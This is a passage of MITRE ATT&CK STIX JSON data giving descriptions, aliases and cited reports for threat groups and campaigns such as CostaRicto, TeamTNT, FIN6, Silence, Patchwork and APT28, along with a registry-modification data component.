Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"Mandiant UNC2589 March 2022","description":"Sadowski, J; Hall, R. (2022, March 4). Responses to Russia's Invasion of Ukraine Likely to Spur Retaliation. Retrieved June 9, 2022.","url":"https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation"},{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-05T15:54:36.557Z","name":"CostaRicto","description":"[CostaRicto](https://attack.mitre.org/campaigns/C0004) was a suspected hacker-for-hire cyber espionage campaign that targeted multiple industries worldwide, with a large number being financial institutions. [CostaRicto](https://attack.mitre.org/campaigns/C0004) actors targeted organizations in Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia (especially India, Bangladesh, and Singapore), using custom malware, open source tools, and a complex network of proxies and SSH tunnels.(Citation: BlackBerry CostaRicto November 2020)","aliases":["CostaRicto"],"first_seen":"2019-10-01T04:00:00.000Z","last_seen":"2020-11-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: BlackBerry CostaRicto November 2020)","x_mitre_last_seen_citation":"(Citation: BlackBerry CostaRicto November 2020)","x_mitre_deprecated":false,"x_mitre_version":"1.0","type":"campaign","id":"campaign--f9cc545e-b0ef-4b92-8884-a3a4427609f6","created":"2022-09-15T17:25:38.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0004","external_id":"C0004"},{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2024-09-16T16:23:56.908Z","name":"TeamTNT","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.(Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)","aliases":["TeamTNT"],"x_mitre_deprecated":false,"x_mitre_version":"1.3","x_mitre_contributors":["Will Thomas, Cyjax","Darin Smith, Cisco"],"type":"intrusion-set","id":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","created":"2021-10-01T01:57:31.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0139","external_id":"G0139"},{"source_name":"ATT TeamTNT Chimaera September 2020","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera"},{"source_name":"Cado Security TeamTNT Worm August 2020","description":"Cado Security. (2020, August 16). Team TNT – The First Crypto-Mining Worm to Steal AWS Credentials. Retrieved September 22, 2021.","url":"https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/"},{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"},{"source_name":"Intezer TeamTNT September 2020","description":"Fishbein, N. (2020, September 8). Attackers Abusing Legitimate Cloud Monitoring Tools to Conduct Cyber Attacks. Retrieved September 22, 2021.","url":"https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/"},{"source_name":"Intezer TeamTNT Explosion September 2021","description":"Intezer. (2021, September 1). TeamTNT Cryptomining Explosion. Retrieved October 15, 2021.","url":"https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf"},{"source_name":"Aqua TeamTNT August 2020","description":"Kol, Roi. Morag, A. (2020, August 25). Deep Analysis of TeamTNT Techniques Using Container Images to Attack. Retrieved September 22, 2021.","url":"https://blog.aquasec.com/container-security-tnt-container-attack"},{"source_name":"Palo Alto Black-T October 2020","description":"Quist, N. (2020, October 5). Black-T: New Cryptojacking Variant from TeamTNT. Retrieved September 22, 2021.","url":"https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/"},{"source_name":"Lacework TeamTNT May 2021","description":"Stroud, J. (2021, May 25). Taking TeamTNT's Docker Images Offline. Retrieved September 16, 2024.","url":"https://www.lacework.com/blog/taking-teamtnt-docker-images-offline"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-08T22:13:27.588Z","name":"FIN6","description":"[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)","aliases":["FIN6","Magecart Group 6","ITG08","Skeleton Spider","TAAL","Camouflage Tempest"],"x_mitre_deprecated":false,"x_mitre_version":"4.0","x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Drew Church, Splunk"],"type":"intrusion-set","id":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","created":"2017-05-31T21:32:06.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0037","external_id":"G0037"},{"source_name":"Skeleton Spider","description":"(Citation: Crowdstrike Global Threat Report Feb 2018)"},{"source_name":"FIN6","description":"(Citation: FireEye FIN6 April 2016)"},{"source_name":"TAAL","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Camouflage Tempest","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Magecart Group 6","description":"(Citation: Security Intelligence ITG08 April 2020)"},{"source_name":"ITG08","description":"(Citation: Security Intelligence More Eggs Aug 2019)"},{"source_name":"Crowdstrike Global Threat Report Feb 2018","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"},{"source_name":"FireEye FIN6 April 2016","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"},{"source_name":"FireEye FIN6 Apr 2019","description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Security Intelligence ITG08 April 2020","description":"Villadsen, O. (2020, April 7). ITG08 (aka FIN6) Partners With TrickBot Gang, Uses Anchor Framework. Retrieved October 8, 2020.","url":"https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/"},{"source_name":"Security Intelligence More Eggs Aug 2019","description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack","ics-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:34:46.346Z","name":"Silence","description":"[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ","aliases":["Silence","Whisper Spider"],"x_mitre_deprecated":false,"x_mitre_version":"2.2","x_mitre_contributors":["Oleg Skulkin, Group-IB"],"type":"intrusion-set","id":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","created":"2019-05-24T17:57:36.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0091","external_id":"G0091"},{"source_name":"Whisper Spider","description":"(Citation: Crowdstrike GTR2020 Mar 2020)"},{"source_name":"Silence","description":"(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) "},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"SecureList Silence Nov 2017","description":"GReAT. (2017, November 1). Silence – a new Trojan attacking financial organizations. Retrieved May 24, 2019.","url":"https://securelist.com/the-silence/83009/"},{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T05:08:20.780Z","name":"Patchwork","description":"[Patchwork](https://attack.mitre.org/groups/G0040) is a cyber espionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018.(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)","aliases":["Patchwork","Hangover Group","Dropping Elephant","Chinastrats","MONSOON","Operation Hangover"],"x_mitre_deprecated":false,"x_mitre_version":"1.5","type":"intrusion-set","id":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","created":"2017-05-31T21:32:07.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0040","external_id":"G0040"},{"source_name":"Patchwork","description":"(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"},{"source_name":"Chinastrats","description":"(Citation: Securelist Dropping Elephant)"},{"source_name":"Dropping Elephant","description":"(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)"},{"source_name":"Hangover Group","description":"[Patchwork](https://attack.mitre.org/groups/G0040) and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)"},{"source_name":"Cymmetria Patchwork","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"},{"source_name":"Operation Hangover May 2013","description":"Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.","url":"http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf"},{"source_name":"Symantec Patchwork","description":"Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.","url":"http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries"},{"source_name":"Unit 42 BackConfig May 2020","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/"},{"source_name":"Operation Hangover","description":"It is believed that the actors behind [Patchwork](https://attack.mitre.org/groups/G0040) are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)"},{"source_name":"Securelist Dropping Elephant","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant – aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.","url":"https://securelist.com/the-dropping-elephant-actor/75328/"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"},{"source_name":"Volexity Patchwork June 2018","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"},{"source_name":"MONSOON","description":"MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)"},{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Windows Registry Key Modification","description":"Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)","x_mitre_data_source_ref":"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:31:01.968Z","name":"APT28","description":"[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election.(Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ","aliases":["APT28","IRON TWILIGHT","SNAKEMACKEREL","Swallowtail","Group 74","Sednit","Sofacy","Pawn Storm","Fancy Bear","STRONTIUM","Tsar Team","Threat Group-4127","TG-4127","Forest Blizzard","FROZENLAKE"],"x_mitre_deprecated":false,"x_mitre_version":"5.1","x_mitre_contributors":["Sébastien Ruel, CGI","Drew Church, Splunk","Emily Ratliff, IBM","Richard Gold, Digital Shadows"],"type":"intrusion-set","id":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","created":"2017-05-31T21:31:48.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0007","external_id":"G0007"},{"source_name":"SNAKEMACKEREL","description":"(Citation: Accenture SNAKEMACKEREL Nov 2018)"},{"source_name":"Fancy Bear","description":"(Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"},{"source_name":"Tsar Team","description":"(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)"},{"source_name":"APT28","description":"(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"},{"source_name":"STRONTIUM","description":"(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)"},{"source_name":"FROZENLAKE","description":"(Citation: Leonard TAG 2023)"},{"source_name":"Forest Blizzard","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"IRON TWILIGHT","description":"(Citation: Secureworks IRON TWILIGHT Profile)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)"},{"source_name":"Threat Group-4127","description":"(Citation: SecureWorks TG-4127)"},{"source_name":"TG-4127","description":"(Citation: SecureWorks TG-4127)"},{"source_name":"Pawn Storm","description":"(Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) "},{"source_name":"Swallowtail","description":"(Citation: Symantec APT28 Oct 2018)"},{"source_name":"Group 74","description":"(Citation: Talos Seduploader Oct 2017)"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50"},{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"},{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"},{"source_name":"US District Court Indictment GRU Oct 2018","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.","url":"https://www.justice.gov/opa/page/file/1098481/download"},{"source_name":"GRIZZLY STEPPE JAR","description":"Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.","url":"https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"},{"source_name":"ESET Zebrocy May 2019","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/"},{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"},{"source_name":"Sofacy DealersChoice","description":"Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"},{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Ars Technica GRU indictment Jul 2018","description":"Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.","url":"https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/"},{"source_name":"TrendMicro Pawn Storm Dec 2020","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"},{"source_name":"Securelist Sofacy Feb 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"Talos Seduploader Oct 2017","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020","description":"Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.","url":"https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/"},{"source_name":"Microsoft STRONTIUM Aug 2019","description":"MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.","url":"https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"},{"source_name":"NSA/FBI Drovorub August 2020","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020.","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF"},{"source_name":"SecureWorks TG-4127","description":"SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.","url":"https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures"},{"source_name":"Secureworks IRON TWILIGHT Profile","description":"Secureworks CTU. (n.d.). IRON TWILIGHT. Retrieved February 28, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-twilight"},{"source_name":"Symantec APT28 Oct 2018","description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government"},{"source_name":"Sednit","description":"This designation has been used in reporting both to refer to the threat group and its associated malware [JHUHUGIT](https://attack.mitre.org/software/S0044).(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018)"},{"source_name":"Sofacy","description":"This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader 